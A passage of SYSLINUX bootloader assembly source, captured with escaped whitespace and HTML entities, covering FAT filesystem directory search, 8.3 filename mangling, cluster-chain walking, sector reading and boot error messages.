C/H/S = 0/0/1 (first sector)\n\t\tmov bx,trackbuf\n\t\tint 13h\n\t\tpop dx\n\t\tcli\t\t\t\t; Abandon hope, ye who enter here\n\t\tmov si,trackbuf\n\t\tmov di,07C00h\n\t\tmov cx,512\t\t\t; Probably overkill, but should be safe\n\t\trep movsd\n\t\tmov ss,cx\n\t\tmov sp,7c00h\n\t\tjmp 0:07C00h\t\t\t; Jump to new boot sector\n\n.int18:\n\t\tint 18h\t\t\t\t; Hope this does the right thing...\n\t\tjmp kaboom\t\t\t; If we returned, oh boy...\n\n;\n; Abort loading code\n;\n%include \"abort.inc\"\n\n;\n; allocate_file: Allocate a file structure\n;\n;\t\tIf successful:\n;\t\t  ZF set\n;\t\t  BX = file pointer\n;\t\tIn unsuccessful:\n;\t\t  ZF clear\n;\nallocate_file:\n\t\tTRACER &#039;a&#039;\n\t\tpush cx\n\t\tmov bx,Files\n\t\tmov cx,MAX_OPEN\n.check:\t\tcmp dword [bx], byte 0\n\t\tje .found\n\t\tadd bx,open_file_t_size\t\t; ZF = 0\n\t\tloop .check\n\t\t; ZF = 0 if we fell out of the loop\n.found:\t\tpop cx\n\t\tret\n\n;\n; searchdir:\n;\t     Search the root directory for a pre-mangled filename in DS:DI.\n;\n;\t     NOTE: This file considers finding a zero-length file an\n;\t     error.  This is so we don&#039;t have to deal with that special\n;\t     case elsewhere in the program (most loops have the test\n;\t     at the end).\n;\n;\t     If successful:\n;\t\tZF clear\n;\t\tSI\t= file pointer\n;\t\tDX:AX\t= file length in bytes\n;\t     If unsuccessful\n;\t\tZF set\n;\n\nsearchdir:\n\t\tpush bx\n\t\tcall allocate_file\n\t\tjnz .alloc_failure\n\n\t\tpush cx\n\t\tpush gs\n\t\tpush es\n\t\tpush ds\n\t\tpop es\t\t\t\t; ES = DS\n\n\t\tmov eax,[RootDir]\t\t; First root directory sector\n\n.scansector:\n\t\tcall getcachesector\n\t\t; GS:SI now points to this sector\n\n\t\tmov cx,SECTOR_SIZE/32\t\t; 32 == directory entry size\n.scanentry:\n\t\tcmp byte [gs:si],0\n\t\tjz .failure\t\t\t; Hit directory high water mark\n\t\tpush cx\n\t\tpush si\n\t\tpush di\n\t\tmov cx,11\n\t\tgs repe cmpsb\n\t\tpop di\n\t\tpop si\n\t\tpop cx\n\t\tjz .found\n\t\tadd si,32\n\t\tloop .scanentry\n\n\t\tcall nextsector\n\t\tjnc .scansector\t\t\t; CF is set if we&#039;re at end\n\n\t\t; If we get here, we failed\n.failure:\n\t\tpop es\n\t\tpop gs\n\t\tpop cx\n.alloc_failure:\n\t\tpop bx\n\t\txor eax,eax\t\t\t; ZF <- 1\n\t\tret\n.found:\n\t\tmov eax,[gs:si+28]\t\t; File size\n\t\tadd eax,SECTOR_SIZE-1\n\t\tshr eax,SECTOR_SHIFT\n\t\tjz .failure\t\t\t; Zero-length file\n\t\tmov [bx+4],eax\n\n\t\tmov cl,[ClustShift]\n\t\tmov dx,[gs:si+20]\t\t; High cluster word\n\t\tshl edx,16\n\t\tmov dx,[gs:si+26]\t\t; Low cluster word\n\t\tsub edx,2\n\t\tshl edx,cl\n\t\tadd edx,[DataArea]\n\t\tmov [bx],edx\t\t\t; Starting sector\n\n\t\tmov eax,[gs:si+28]\t\t; File length again\n\t\tmov dx,[gs:si+30]\t\t; 16-bitism, sigh\n\t\tmov si,bx\n\t\tand eax,eax\t\t\t; ZF <- 0\n\n\t\tpop es\n\t\tpop gs\n\t\tpop cx\n\t\tpop bx\n\t\tret\n\n;\n;\n; kaboom2: once everything is loaded, replace the part of kaboom\n;\t   starting with \"kaboom.patch\" with this part\n\nkaboom2:\n\t\tcmp byte [gfx_ok],0\n\t\tjz .nogfx\n\t\tmov si,err_failed_gfx\n\t\txor di,di\n\t\tmov al,1\n\t\tcall gfx_infobox\n\t\tcall gfx_done\n\t\tcall do_reboot\n.nogfx:\n\t\tmov si,err_bootfailed\n\t\tcall cwritestr\n\t\tcall getchar\n\t\tcall vgaclearmode\n\t\tint 19h\t\t\t; And try once more to boot...\n.norge:\t\tjmp short .norge\t; If int 19h returned; this is the end\n\n;\n; mangle_name: Mangle a DOS filename pointed to by DS:SI into a buffer pointed\n;\t       to by ES:DI; ends on encountering any whitespace\n;\n\nmangle_name:\n\t\tmov cx,11\t\t\t; # of bytes to write\nmn_loop:\n\t\tlodsb\n\t\tcmp al,&#039; &#039;\t\t\t; If control or space, end\n\t\tjna mn_end\n\t\tcmp al,&#039;.&#039;\t\t\t; Period -> space-fill\n\t\tje mn_is_period\n\t\tcmp al,&#039;a&#039;\n\t\tjb mn_not_lower\n\t\tcmp al,&#039;z&#039;\n\t\tja mn_not_uslower\n\t\tsub al,020h\n\t\tjmp short mn_not_lower\nmn_is_period:\tmov al,&#039; &#039;\t\t\t; We need to space-fill\nmn_period_loop: cmp cx,3\t\t\t; If <= 3 characters left\n\t\tjbe mn_loop\t\t\t; Just ignore it\n\t\tstosb\t\t\t\t; Otherwise, write a period\n\t\tloop mn_period_loop\t\t; Dec CX and (always) jump\nmn_not_uslower: cmp al,ucase_low\n\t\tjb mn_not_lower\n\t\tcmp al,ucase_high\n\t\tja mn_not_lower\n\t\tmov bx,ucase_tab-ucase_low\n                cs xlatb\nmn_not_lower:\tstosb\n\t\tloop mn_loop\t\t\t; Don&#039;t continue if too long\nmn_end:\n\t\tmov al,&#039; &#039;\t\t\t; Space-fill name\n\t\trep stosb\t\t\t; Doesn&#039;t do anything if CX=0\n\t\tret\t\t\t\t; Done\n\n;\n; Upper-case table for extended characters; this is technically code page 865,\n; but code page 437 users will probably not miss not being able to use the\n; cent sign in kernel images too much :-)\n;\n; The table only covers the range 129 to 164; the rest we can deal with.\n;\nucase_low\tequ 129\nucase_high\tequ 164\nucase_tab\tdb 154, 144, &#039;A&#039;, 142, &#039;A&#039;, 143, 128, &#039;EEEIII&#039;\n\t\tdb 142, 143, 144, 146, 146, &#039;O&#039;, 153, &#039;OUUY&#039;, 153, 154\n\t\tdb 157, 156, 157, 158, 159, &#039;AIOU&#039;, 165\n\n;\n; unmangle_name: Does the opposite of mangle_name; converts a DOS-mangled\n;                filename to the conventional representation.  This is needed\n;                for the BOOT_IMAGE= parameter for the kernel.\n;                NOTE: A 13-byte buffer is mandatory, even if the string is\n;                known to be shorter.\n;\n;                DS:SI -> input mangled file name\n;                ES:DI -> output buffer\n;\n;                On return, DI points to the first byte after the output name,\n;                which is set to a null byte.\n;\nunmangle_name:\n                push si                 ; Save pointer to original name\n                mov cx,8\n                mov bp,di\nun_copy_body:   lodsb\n                call lower_case\n                stosb\n                cmp al,&#039; &#039;\n                jbe un_cb_space\n                mov bp,di               ; Position of last nonblank+1\nun_cb_space:    loop un_copy_body\n                mov di,bp\n                mov al,&#039;.&#039;              ; Don&#039;t save\n                stosb\n                mov cx,3\nun_copy_ext:    lodsb\n                call lower_case\n                stosb\n                cmp al,&#039; &#039;\n                jbe un_ce_space\n                mov bp,di\nun_ce_space:    loop un_copy_ext\n                mov di,bp\n                mov byte [es:di], 0\n                pop si\n                ret\n\n;\n; lower_case: Lower case a character in AL\n;\nlower_case:\n                cmp al,&#039;A&#039;\n                jb lc_ret\n                cmp al,&#039;Z&#039;\n                ja lc_1\n                or al,20h\n                ret\nlc_1:           cmp al,lcase_low\n                jb lc_ret\n                cmp al,lcase_high\n                ja lc_ret\n                push bx\n                mov bx,lcase_tab-lcase_low\n               \tcs xlatb\n                pop bx\nlc_ret:         ret\n\n;\n; getfssec_edx: Get multiple sectors from a file\n;\n;\tThis routine makes sure the subtransfers do not cross a 64K boundary,\n;\tand will correct the situation if it does, UNLESS *sectors* cross\n;\t64K boundaries.\n;\n;\tES:BX\t-> Buffer\n;\tEDX\t-> Current sector number\n;\tCX\t-> Sector count (0FFFFh = until end of file)\n;                  Must not exceed the ES segment\n;\tReturns EDX=0, CF=1 on EOF (not necessarily error)\n;\tAll arguments are advanced to reflect data read.\n;\ngetfssec_edx:\n\t\tpush ebp\n\t\tpush eax\n.getfragment:\n\t\txor ebp,ebp\t\t\t; Fragment sector count\n\t\tpush edx\t\t\t; Starting sector pointer\n.getseccnt:\n\t\tinc bp\n\t\tdec cx\n\t\tjz .do_read\n\t\txor eax,eax\n\t\tmov ax,es\n\t\tshl ax,4\n\t\tadd ax,bx\t\t\t; Now AX = how far into 64K block we are\n\t\tnot ax\t\t\t\t; Bytes left in 64K block\n\t\tinc eax\n\t\tshr eax,SECTOR_SHIFT\t\t; Sectors left in 64K block\n\t\tcmp bp,ax\n\t\tjnb .do_read\t\t\t; Unless there is at least 1 more sector room...\n\t\tmov eax,edx\t\t\t; Current sector\n\t\tinc edx\t\t\t\t; Predict it&#039;s the linearly next sector\n\t\tcall nextsector\n\t\tjc .do_read\n\t\tcmp edx,eax\t\t\t; Did it match?\n\t\tjz .getseccnt\n.do_read:\n\t\tpop eax\t\t\t\t; Starting sector pointer\n\t\tcall getlinsecsr\n\t\tlea eax,[eax+ebp-1]\t\t; This is the last sector actually read\n\t\tshl bp,9\n\t\tadd bx,bp\t\t\t; Adjust buffer pointer\n\t\tcall nextsector\n\t\tjc .eof\n\t\tmov edx,eax\n\t\tand cx,cx\n\t\tjnz .getfragment\n.done:\n\t\tpop eax\n\t\tpop ebp\n\t\tret\n.eof:\n\t\txor edx,edx\n\t\tstc\n\t\tjmp .done\n\n;\n; getfssec: Get multiple sectors from a file\n;\n;\tSame as above, except SI is a pointer to a open_file_t\n;\n;\tES:BX\t-> Buffer\n;\tDS:SI\t-> Pointer to open_file_t\n;\tCX\t-> Sector count (0FFFFh = until end of file)\n;                  Must not exceed the ES segment\n;\tReturns CF=1 on EOF (not necessarily error)\n;\tAll arguments are advanced to reflect data read.\n;\ngetfssec:\n\t\tpush edx\n\t\tmovzx edx,cx\n\t\tcmp edx,[si+4]\n\t\tjbe .sizeok\n\t\tmov edx,[si+4]\n\t\tmov cx,dx\n.sizeok:\n\t\tsub [si+4],edx\n\t\tmov edx,[si]\n\t\tcall getfssec_edx\n\t\tmov [si],edx\n\t\tpop edx\n\t\tret\n\n;\n; nextcluster: Advance a cluster pointer in EDI to the next cluster\n;\t       pointed at in the FAT tables.  CF=0 on return if end of file.\n;\nnextcluster:\n\t\tjmp strict short nextcluster_fat28\t; This gets patched\n\nnextcluster_fat12:\n\t\tpush eax\n\t\tpush edx\n\t\tpush bx\n\t\tpush cx\n\t\tpush si\n\t\tmov edx,edi\n\t\tshr edi,1\n\t\tpushf\t\t\t; Save the shifted-out LSB (=CF)\n\t\tadd edx,edi\n\t\tmov eax,edx\n\t\tshr eax,9\n\t\tcall getfatsector\n\t\tmov bx,dx\n\t\tand bx,1FFh\n\t\tmov cl,[gs:si+bx]\n\t\tinc edx\n\t\tmov eax,edx\n\t\tshr eax,9\n\t\tcall getfatsector\n\t\tmov bx,dx\n\t\tand bx,1FFh\n\t\tmov ch,[gs:si+bx]\n\t\tpopf\n\t\tjnc .even\n\t\tshr cx,4\n.even:\t\tand cx,0FFFh\n\t\tmovzx edi,cx\n\t\tcmp di,0FF0h\n\t\tpop si\n\t\tpop cx\n\t\tpop bx\n\t\tpop edx\n\t\tpop eax\n\t\tret\n\n;\n; FAT16 decoding routine.\n;\nnextcluster_fat16:\n\t\tpush eax\n\t\tpush si\n\t\tpush bx\n\t\tmov eax,edi\n\t\tshr eax,SECTOR_SHIFT-1\n\t\tcall getfatsector\n\t\tmov bx,di\n\t\tadd bx,bx\n\t\tand bx,1FEh\n\t\tmovzx edi,word [gs:si+bx]\n\t\tcmp di,0FFF0h\n\t\tpop bx\n\t\tpop si\n\t\tpop eax\n\t\tret\n;\n; FAT28 (\"FAT32\") decoding routine.\n;\nnextcluster_fat28:\n\t\tpush eax\n\t\tpush si\n\t\tpush bx\n\t\tmov eax,edi\n\t\tshr eax,SECTOR_SHIFT-2\n\t\tcall getfatsector\n\t\tmov bx,di\n\t\tadd bx,bx\n\t\tadd bx,bx\n\t\tand bx,1FCh\n\t\tmov edi,dword [gs:si+bx]\n\t\tand edi,0FFFFFFFh\t; 28 bits only\n\t\tcmp edi,0FFFFFF0h\n\t\tpop bx\n\t\tpop si\n\t\tpop eax\n\t\tret\n\n;\n; nextsector:\tGiven a sector in EAX on input, return the next sector\n;\t     \tof the same filesystem object, which may be the root\n;              \tdirectory or a cluster chain.  Returns  EOF.\n;\n;\t      \tAssumes CS == DS.\n;\nnextsector:\n\t\tpush edi\n\t\tpush edx\n\t\tmov edx,[DataArea]\n\t\tmov edi,eax\n\t\tsub edi,edx\n\t\tjae .isdata\n\n\t\t; Root directory\n\t\tinc eax\n\t\tcmp eax,edx\n\t\tcmc\n\t\tjmp .done\n\n.isdata:\n\t\tnot edi\n\t\ttest edi,[ClustMask]\n\t\tjz .endcluster\n\n\t\t; It&#039;s not the final sector in a cluster\n\t\tinc eax\n\t\tjmp .done\n\n.endcluster:\n\t\tpush gs\t\t\t; nextcluster trashes gs\n\t\tpush cx\n\t\tnot edi\n\t\tmov cl,[ClustShift]\n\t\tshr edi,cl\n\t\tadd edi,2\n\n\t\t; Now EDI contains the cluster number\n\t\tcall nextcluster\n\t\tcmc\n\t\tjc .exit\t\t; There isn&#039;t anything else...\n\n\t\t; New cluster number now in EDI\n\t\tsub edi,2\n\t\tshl edi,cl\t\t; CF <- 0, unless something is very wrong\n\t\tlea eax,[edi+edx]\n.exit:\n\t\tpop cx\n\t\tpop gs\n.done:\n\t\tpop edx\n\t\tpop edi\n\t\tret\n\n;\n; getfatsector: Check for a particular sector (in EAX) in the FAT cache,\n;\t\tand return a pointer in GS:SI, loading it if needed.\n;\n;\t\tAssumes CS == DS.\n;\ngetfatsector:\n\t\tadd eax,[FAT]\t\t; FAT starting address\n\t\tjmp getcachesector\n\n; -----------------------------------------------------------------------------\n;  Common modules\n; -----------------------------------------------------------------------------\n\n%include \"getc.inc\"\t\t; getc et al\n%include \"conio.inc\"\t\t; Console I/O\n%include \"plaincon.inc\"\t\t; writechr\n%include \"writestr.inc\"\t\t; String output\n%include \"parseconfig.inc\"\t; High-level config file handling\n%include \"parsecmd.inc\"\t\t; Low-level config file handling\n%include \"bcopy32.inc\"\t\t; 32-bit bcopy\n%include \"loadhigh.inc\"\t\t; Load a file into high memory\n%include \"font.inc\"\t\t; VGA font stuff\n%include \"graphics.inc\"\t\t; VGA graphics\n%include \"highmem.inc\"\t\t; High memory sizing\n%include \"strcpy.inc\"           ; strcpy()\n%include \"cache.inc\"\t\t; Metadata disk cache\n\n%include \"gfxboot.inc\"\t\t; add gfx things\n\n; -----------------------------------------------------------------------------\n;  Begin data section\n; -----------------------------------------------------------------------------\n\n\t\tsection .data\n;\n; Lower-case table for codepage 865\n;\nlcase_low       equ 128\nlcase_high      equ 165\nlcase_tab       db 135, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138\n                db 139, 140, 141, 132, 134, 130, 145, 145, 147, 148, 149\n                db 150, 151, 152, 148, 129, 155, 156, 155, 158, 159, 160\n                db 161, 162, 163, 164, 164\n\ncopyright_str   db &#039; Copyright (C) 1994-&#039;, year, &#039; H. Peter Anvin&#039;\n\t\tdb CR, LF, 0\nboot_prompt\tdb &#039;boot: &#039;, 0\nwipe_char\tdb BS, &#039; &#039;, BS, 0\nerr_notfound\tdb &#039;Could not find kernel image: &#039;,0\nerr_notkernel\tdb CR, LF, &#039;Invalid or corrupt kernel image.&#039;, CR, LF, 0\nerr_noram\tdb &#039;It appears your computer has less than &#039;\n\t\tasciidec dosram_k\n\t\tdb &#039;K of low (\"DOS\")&#039;\n\t\tdb CR, LF\n\t\tdb &#039;RAM.  Linux needs at least this amount to boot.  If you get&#039;\n\t\tdb CR, LF\n\t\tdb &#039;this message in error, hold down the Ctrl key while&#039;\n\t\tdb CR, LF\n\t\tdb &#039;booting, and I will take your word for it.&#039;, CR, LF, 0\nerr_badcfg      db &#039;Unknown keyword in syslinux.cfg.&#039;, CR, LF, 0\nerr_noparm      db &#039;Missing parameter in syslinux.cfg.&#039;, CR, LF, 0\nerr_noinitrd    db CR, LF\nerr_noinitrda   db &#039;Could not find ramdisk image: &#039;, 0\nerr_nohighmem   db &#039;Not enough memory to load specified kernel.&#039;, CR, LF, 0\nerr_highload    db CR, LF, &#039;Kernel transfer failure.&#039;, CR, LF, 0\nerr_oldkernel   db &#039;Cannot load a ramdisk with an old kernel image.&#039;\n                db CR, LF, 0\nerr_notdos\tdb &#039;: attempted DOS system call&#039;, CR, LF, 0\nerr_comlarge\tdb &#039;COMBOOT image too large.&#039;, CR, LF, 0\nerr_a20\t\tdb CR, LF, &#039;A20 gate not responding!&#039;, CR, LF, 0\nerr_bootfailed\tdb CR, LF, &#039;Boot failed: please change disks and press &#039;\n\t\tdb &#039;a key to continue.&#039;, CR, LF, 0\nerr_failed_gfx\tdb &#039;Error reading from disk.&#039;, 0\nready_msg\tdb &#039;Ready.&#039;, CR, LF, 0\nlocalboot_msg\tdb &#039;Booting from local disk...&#039;, CR, LF, 0\ncrlfloading_msg\tdb CR, LF\nloading_msg     db &#039;Loading &#039;, 0\ndotdot_msg      db &#039;.&#039;\ndot_msg         db &#039;.&#039;, 0\naborted_msg\tdb &#039; aborted.&#039;\t\t\t; Fall through to crlf_msg!\ncrlf_msg\tdb CR, LF\nnull_msg\tdb 0\ncrff_msg\tdb CR, FF, 0\nsyslinux_cfg\tdb &#039;SYSLINUXCFG&#039;\t\t; Mangled form\nConfigName\tdb &#039;syslinux.cfg&#039;,0\t\t; Unmangled form\n%if IS_MDSLINUX\nmanifest\tdb &#039;MANIFEST   &#039;\n%endif\n;\n; Command line options we&#039;d like to take a look at\n;\n; mem= and vga= are handled as normal 32-bit integer values\ninitrd_cmd\tdb &#039;initrd=&#039;\ninitrd_cmd_len\tequ 7\n\n;\n; Config file keyword table\n;\n%include \"keywords.inc\"\n\n;\n; Extensions to search for (in *forward* order).\n;\nexten_table:\tdb &#039;CBT&#039;,0\t\t; COMBOOT (specific)\n\t\tdb &#039;BSS&#039;,0\t\t; Boot Sector (add superblock)\n\t\tdb &#039;BS &#039;,0\t\t; Boot Sector\n\t\tdb &#039;COM&#039;,0\t\t; COMBOOT (same as DOS)\n\t\tdb &#039;C32&#039;,0\t\t; COM32\nexten_table_end:\n\t\tdd 0, 0\t\t\t; Need 8 null bytes here\n\n;\n; Misc initialized (data) variables\n;\n%ifdef debug\t\t\t\t; This code for debugging only\ndebug_magic\tdw 0D00Dh\t\t; Debug code sentinel\n%endif\n\n\t\talignb 4, db 0\nBufSafe\t\tdw trackbufsize/SECTOR_SIZE\t; Clusters we can load into trackbuf\nBufSafeSec\tdw trackbufsize/SECTOR_SIZE\t; = how many sectors?\nBufSafeBytes\tdw trackbufsize\t\t; = how many bytes?\nEndOfGetCBuf\tdw getcbuf+trackbufsize\t; = getcbuf+BufSafeBytes\n%ifndef DEPEND\n%if ( trackbufsize % SECTOR_SIZE ) != 0\n%error trackbufsize must be a multiple of SECTOR_SIZE\n%endif\n%endif","sha256":"060ff73a59d0e05c9aa0cf139d4788dfbd2766890ed489e8d7929dfa3b30ea2b","bytes":39056,"fetchedAt":"2026-11-27T12:11:35.390Z","encoding":"utf-8 (display only; download retains original bytes)"}